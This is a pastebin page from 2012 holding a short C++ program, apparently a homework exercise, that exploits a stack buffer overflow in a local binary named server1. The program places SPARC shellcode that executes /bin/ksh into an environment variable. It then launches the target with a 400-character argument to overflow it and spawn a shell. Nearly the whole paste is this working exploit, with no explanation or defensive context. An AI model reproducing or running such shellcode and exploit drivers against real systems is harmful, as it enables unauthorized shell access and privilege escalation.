Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on Apr 23rd, 2012  |  syntax: None  |  size: 0.92 KB  |  hits: 13  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. {apache:~/hw3} cat c.cpp
  2. #include<string>
  3. #include<iostream>
  4. main() {
  5.  std::string v;
  6. static char shell[]=         /* 10*4+8 bytes */
  7. "\xac\x15\xa1\x6e"
  8. "\xac\x15\xa1\x6e"
  9. "\xac\x15\xa1\x6e"
  10. "\xac\x15\xa1\x6e"
  11. "\xac\x15\xa1\x6e"
  12. "\xac\x15\xa1\x6e"
  13. "\xac\x15\xa1\x6e"
  14. "\xac\x15\xa1\x6e"
  15.         "\x20\xbf\xff\xff"   /* bn,a  */
  16.         "\x20\xbf\xff\xff"   /* bn,a  */
  17.         "\x7f\xff\xff\xff"   /* call  */
  18.         "\x90\x03\xe0\x20"   /* add %o7,32,%o0 */
  19.         "\x92\x02\x20\x10"   /* add %o0,16,%o1 */
  20.         "\xc0\x22\x20\x08"   /* st %g0,[%o0+8] */
  21.         "\xd0\x22\x20\x10"   /* st %o0,[%o0+16] */
  22.         "\xc0\x22\x20\x14"   /* st %g0,[%o0+20] */
  23.         "\x82\x10\x20\x0b"   /* mov 0x0b,%g1 */
  24.         "\x91\xd0\x20\x08"   /* ta 8 */
  25.         "/bin/ksh" ;
  26.  
  27. char *env[2] = {shell, NULL};
  28. for (int i = 0; i < 400; i++)
  29.         v.append("A");
  30. execle("./server1","./server1",v.c_str(),NULL,env);
  31. }